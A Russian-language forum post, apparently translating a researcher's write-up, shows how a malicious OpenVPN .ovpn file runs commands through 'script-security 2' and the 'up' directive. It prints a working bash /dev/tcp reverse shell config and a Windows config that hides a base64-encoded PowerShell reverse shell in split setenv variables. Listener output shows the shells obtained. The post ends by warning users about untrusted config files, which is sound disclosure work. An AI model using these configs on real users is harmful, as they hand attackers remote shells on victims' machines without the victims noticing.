Reverse Shell через конфигурационный файл OpenVPN

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

Проводя фоновое исследование OpenVPN, я наткнулся на интересный вопрос на Stack Exchange(Is it okay to use random OpenVPN config files?).

53593b667a3d8d112d2fb.png

Пользователь, похоже, не спрашивает, опасно ли использовать бесплатные сервисы OpenVPN. Вместо этого, пользователь спрашивает, опасно ли использовать .ovpn файлы сами по себе. Поскольку не было удовлетворительного ответа, я углубился в это, и я пришел к выводу, что да, ненадежные файлы ovpn довольно опасны.

Давайте начнем. Ovpn файл - это файл конфигурации, предоставляемый клиенту или серверу OpenVPN. Файл содержит все детали, о VPN-соединении: какие удаленные серверы для подключения и шифрования использовать, какие протоколы использовать и т. д.

В самой простой форме файл ovpn выглядит следующим образом:


Код:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun

Это направляет клиенту соединяться с сервером 192.168.1.245 без аутентификации или шифрования и устанавливать интерфейс tun для связи между клиентом (10.200.0.2) и сервером (10.200.0.1). Для этого блога полезен трехстрочный пример, но реальные файлы ovpn могут легко превышать сотни строк, когда используются более сложные функции.

В принципе, команда выполняет любые скрипты, которые вы укажите . Если жертва использует версию Bash, которая поддерживает /dev / tcp, то получение обратной оболочки тривиально. Следующий файл ovpn будет обратной оболочкой 192.168.1.218:8181.

Код:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&’”


Когда этот файл ovpn используется, пользователь не поймет, что что-то не так. VPN соединение устанавливается нормально и трафик идет. В журнале есть только два указания, которые возможно указывают, что, что-то происходит. Я выделил их для более легкого чтения:

Код:
hu Jun 7 12:28:23 2018 disabling NCP mode ( — ncp-disable) because not in P2MP client or server mode
Thu Jun 7 12:28:23 2018 OpenVPN 2.5_git [git:HEAD/1f458322cdaffed0+*] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jun 7 2018
Thu Jun 7 12:28:23 2018 library versions: OpenSSL 1.0.2g 1 Mar 2016, LZO 2.08
Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scripts
Thu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled — All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!
Thu Jun 7 12:28:23 2018 TUN/TAP device tun0 opened
Thu Jun 7 12:28:23 2018 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
Thu Jun 7 12:28:23 2018 /sbin/ifconfig tun0 10.200.0.2 pointopoint 10.200.0.1 mtu 1500
Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1& tun0 1500 1500 10.200.0.2 10.200.0.1 init
Thu Jun 7 12:28:23 2018 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:23 2018 UDP link local (bound): [AF_INET][undef]:1194
Thu Jun 7 12:28:23 2018 UDP link remote: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:33 2018 Peer Connection Initiated with [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:34 2018 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent this
Thu Jun 7 12:28:34 2018 Initialization Sequence Completed
Even if the the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.247] port 8181 [tcp/*] accepted (family 2, sport 54836)
root@client:/home/client/openvpn# id
id
uid=0(root) gid=0(root) groups=0(root)
root@client:/home/client/openvpn#

Bash делает эту атаку легкой в дистрибутивах Linux, таких как Ubuntu. Однако в Windows нет аналогичной функции /dev / tcp. Нам придется немного потрудиться, чтобы сгенерировать обратную оболочку для хоста Windows. К счастью, Дэйв Кеннеди из TrustedSec написал небольшую обратную оболочку powershell(trustedsec/social-engineer-toolkit), которую мы можем использовать. Мы можем передать весь скрипт в командной строке. Однако, нам нужно будет кодировать сценарий base64, чтобы избежать необходимости вставлять Escape-коды. У нашего старого друга Карлоса Переса есть сценарий под названием ps_encoder.py(darkoperator/powershell_scripts), он сделает кодировку за нас.

Однако существует проблема. Закодированный обратный сценарий оболочки имеет длину более 4000 символов, а OpenVPN имеет ограничение в 256 символов. Чтобы обойти это, мы можем использовать команду setenv, чтобы разделить скрипт, а затем рекомбинировать его в команде up. Рассмотрим следующий ovpn файл :

Код:
ifconfig 10.200.0.2 10.200.0.1
dev tun
remote 192.168.1.245
script-security 2
setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
setenv a1 ‘ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHUAcAAgAHsADQAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQANAAoAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEM’
setenv b1 ‘AbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAH0ADQAKAGUAeABpAHQAfQANAAoAJABhAGQAZAByAGUAcwBzACAAPQAgACcAMQA5ADIALgAxADYAOAAuADEALgAyADEAOAAnAA0ACgAkAHAAbwByAHQAIAA9ACAAJwA4ADEAOAAxACcADQAKACQAYwBsAG’
setenv c1 ‘kAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgBzAG8AYwBrAGUAdABzAC4AdABjAHAAYwBsAGkAZQBuAHQADQAKACQAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgAJABhAGQAZAByAGUAcwBzACwAJABwAG8AcgB0ACkADQAKACQAcwB0AHIAZQBhAG0AIAA9A’
setenv d1 ‘CAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQANAAoAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAAJABjAGwAaQBlAG4AdAAuAFIAZQBjAGUAaQB2AGUAQgB1AGYAZgBlAHIAUwBpAHoAZQAN’
setenv e1 ‘AAoAJABwAHIAbwBjAGUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMADQAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAQwA6AFwAXAB3AGkAbgB’
setenv f1 ‘kAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAJwANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbw’
setenv g1 ‘AuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIAA9ACAAMQANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAwAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAA0ACgAkAGkAb’
setenv h1 ‘gBwAHUAdABzAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AA0ACgAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtACAAPQAgACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAA’
setenv i1 ‘MQANAAoAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGkAaQBFAG4AYwBvAGQAaQBuAGcADQAKAHcAaABpAGwAZQAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAewAkAG8’
setenv j1 ‘AdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsAD’
setenv k1 ‘AALAAkAG8AdQB0AC4ATABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwAOwAgACQAZABvAG4AZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJAB0AGUAcwB0AGkAbgBnACAAPQAgADAAOwANAAoAdwBoAGkAbABlACAAKAAtAG4AbwB0ACAAJABkAG8AbgBlACkAIAB7AA0ACgBpAGYAIAAoACQAYwBsA’
setenv l1 ‘GkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAJABwAG8AcwAgAD0AIAAwADsAIAAkAGkAIAA9ACAAMQANAAoAdwBoAGkAbABlACAAKAAoACQAaQAgAC0AZwB0ACAAMAApACAALQBhAG4AZAAgACgAJABwAG8AcwAgAC0AbAB0ACAAJABu’
setenv m1 ‘AGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewANAAoAJAByAGUAYQBkACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACwAJABwAG8AcwAsACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACAALQA’
setenv n1 ‘gACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AZQB0AHcAbwByAGsAYgB1AGYAZgBlAHIAWwAwAC4ALgAkACgAJABwAG8AcwAtADEAKQBdACAALQBjAG8AbgB0AGEAaQBuAHMAIAAxADAAKQApACAAewBiAHIAZQBhAGsAfQB9AA0ACg’
setenv o1 ‘BpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAsADAALAAkAHAAbwBzACkADQAKACQAaQBuAHAAdQB0AHMAdAByAGUAYQBtAC4AdwByAGkAd’
setenv p1 ‘ABlACgAJABzAHQAcgBpAG4AZwApAA0ACgBzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgBpAGYAIAAoACQAcAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAZQBsAHMAZQAgAHsADQAKACQAbwB1AHQAIAA9ACAAJABlAG4A’
setenv q1 ‘YwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAA0ACgB3AGgAaQBsAGUAKAAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtAC4AUABlAGUAawAoACkAIAAtAG4AZQAgAC0AMQApAHsADQAKACQAbwB1AHQAIAArAD0AIAAkAGUAbgBjAG8’
setenv r1 ‘AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAApACkAOwAgAGkAZgAgACgAJABvAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAkAG8AdQB0ACAAPQAgACcAJwB9AH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAG’
setenv s1 ‘UAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4AbABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABuAHUAbABsAH0AfQAgAGUAbABzAGUAIAB7AGMAbABlAGEAbgB1AHAAfQB9AA==’
up ‘C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||’


Вы можете видеть, что кодированный сценарий был разделен на несколько, командой setenv. В самом конце, скрипт просто запускает все переменные окружения вместе. Как и в нашем примере Linux, есть замечание о — script-security при первом запуске OPENVPN GUI:

1eb4fe5fe39c9b8b1638d.png

Опять же, даже если пользователь замечает это или понимает последствия, слишком поздно:

Код:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.226] port 8181 [tcp/*] accepted (family 2, sport 51082)
Microsoft Windows [Version 10.0.17134.48]
© 2018 Microsoft Corporation. All rights reserved.
C:\Users\albinolobster\OpenVPN\config\albino_lobster>whoami
desktop-r5u6pvd\albinolobster
C:\Users\albinolobster\OpenVPN\config\albino_lobster>


Использование ненадежных файлов ovpn опасно. Вы позволяете незнакомцу выполнять произвольные команды на вашем компьютере.

Таким образом, если вы не знаете, как читать файлы ovpn, я предлагаю вам быть очень осторожными в отношении файлов конфигурации, которые вы используете.
 
Похожие темы
Admin Интересно Reverse shell через ICMP. Опубликован руткит под лицензией MIT, который обходит все защиты Linux. Новости в сети 0
T Reverse-shell upgrade Полезные статьи 0
Admin Статья Разведка с geo2ip и reverse-whois OSINT 0
F Модифицированный Evilginx2 Modified Evilginx2 / Reverse Proxy Phishing Ищу работу. Предлагаю свои услуги. 0
U Интересно Reverse Engenireeng - вскрываем протектор Enigma Полезные статьи 0
E need shell Аккаунты: сервисы, сайты, соц. сети 0
L Интересно Java - Получаем SHELL через Minecraft плагин Программирование 7
NickelBlack Jex Bot V5 | Auto Shell Bot Готовый софт 2
T Ani Shell v.1.3 Готовый софт 1
G Заливка WEB-Shell WSO на уязвимые сайты. Для новичков )) Полезные статьи 2
G Skipfish - Сканер безопасности веб-приложений для определения XSS, SQL инъекции, а также Shell инъекции Уязвимости и взлом 0
G Загрузка shell в WEB-сервер. PhpMyAdmin Уязвимости и взлом 0
I Огромная подборка софта для работы с SHELL Готовый софт 2
Admin Интересно Атака на цепочку поставок Trivy привела к распространению червя CanisterWorm через 47 npm-пакетов. Новости в сети 0
Admin Интересно Критическая уязвимость в Langflow эксплуатируется через 20 часов после публикации. Новости в сети 0
Admin Интересно Госдума приняла законопроект об уведомлениях о кредитах через Госуслуги. Новости в сети 0
Admin Интересно Домены только через «Госуслуги». С 1 сентября правила регистрации сайтов в России изменятся навсегда. Новости в сети 0
Admin Интересно Уязвимость в Ubuntu позволяет злоумышленникам получить права root через временную атаку. Новости в сети 0
Admin Интересно Киберпреступники используют ClickFix для распространения macOS-трояна через поддельные установщики ИИ-инструментов. Новости в сети 0
Admin Интересно Storm-2561 распространяет троянские VPN-клиенты через SEO-отравление для кражи учетных данных. Новости в сети 0
Admin Интересно Хакеры взламывают сайты на WordPress и распространяют вредоносное ПО через поддельные CAPTCHA. Новости в сети 0
Admin Интересно Как предотвратить утечку данных через ИИ: вебинар по аудиту современных агентских процессов. Новости в сети 0
Admin Интересно Proton Mail передал данные пользователя ФБР через платёжные реквизиты. Новости в сети 0
Admin Интересно Новая вредоносная программа BoryptGrab распространяется через поддельные репозитории GitHub. Новости в сети 0
Admin Интересно Хакеры захватывают серверы через невидимый символ в FreeScout. Новости в сети 0
Admin Интересно Мошенники атакуют россиян через мессенджер MAX с помощью трояна «Мамонт». Новости в сети 0
Admin Интересно Шпионаж через корзину: как хакеры из APT37 используют $RECYCLE.BIN для связи с Пхеньяном. Новости в сети 0
Admin Интересно Уязвимость в Chrome позволяла вредоносным расширениям получать доступ к файлам через Gemini. Новости в сети 0
Admin Интересно Экстремисты вербуют подростков через игры и мессенджеры. Новости в сети 0
Admin Интересно Фишинг через Google: как мошенники используют доверенные сервисы для кражи паролей. Новости в сети 0
Admin Интересно Уязвимость ClawJacked позволяет злоумышленникам захватывать локальные AI-агенты через WebSocket. Новости в сети 0
Admin Статья VNC через Relay (Работа за NAT) или пробуем повторить AnyDesk на Паскале.[3] Анонимность и приватность 0
Admin Статья VNC через Relay (Работа за NAT) или пробуем повторить AnyDesk на Паскале.[2] Анонимность и приватность 0
Admin Статья VNC через Relay (Работа за NAT) или пробуем повторить AnyDesk на Паскале. [1] Анонимность и приватность 2
Admin Статья Управляй компьютером через сотовый! Полезные статьи 0
Admin Статья Поднимаем личный VPN-сервер за 30 мин на своем VPS через Amnezia VPN Анонимность и приватность 0
Admin Статья Поднимаем свой XMPP сервер через i2p в 2025. Полезные статьи 0
Admin Статья Генерируем варианты утерянного пароля через HashCat Полезные статьи 0
Admin Статья Находим бекенд айпи сайта за CDN через дедупликацию OSINT 0
Admin Статья Разбираем инциденты, анализируем honeypots через дашборды для поимки хищников, атакующих нашу инфраструктуру. [Part 2] Анонимность и приватность 0
Admin Статья Деанонимизация через «забытые» утечки OSINT 0
Admin Интересно ИИ стал предателем: LangChain взламывают через ответы самой модели — она сама крадёт ваши секреты. Новости в сети 0
Admin Статья SQL-инъекции: Анатомия атаки и искусство защиты через Prepared Statements Уязвимости и взлом 0
Admin Статья Безопасное использование джаббера через .onion Анонимность и приватность 0
Admin Интересно Через кряки и YouTube распространяют новые загрузчики вредоносов. Новости в сети 0
Admin Интересно Киберпанк в Средиземном море. Французы ищут, какая держава хотела угнать паром через интернет. Новости в сети 0
Admin Интересно А что, так можно было? В системных утилитах FreeBSD нашли уязвимость, позволяющую исполнять чужой код через обычный роутер. Новости в сети 0
Support81 45 тыс фунтов за одно покушение — беглый топ-менеджер Wirecard финансировал шпионов и киллеров через крипту Новости в сети 0
Support81 «Менеджер» с архивом и черным ходом через Yandex. Как группировка APT31 годами шпионила за российскими IT-компаниями Новости в сети 1
Support81 Хакеры захватили 8,7 млн WordPress-сайтов за два дня — атакуют через критические уязвимости в популярных плагинах Новости в сети 0

Название темы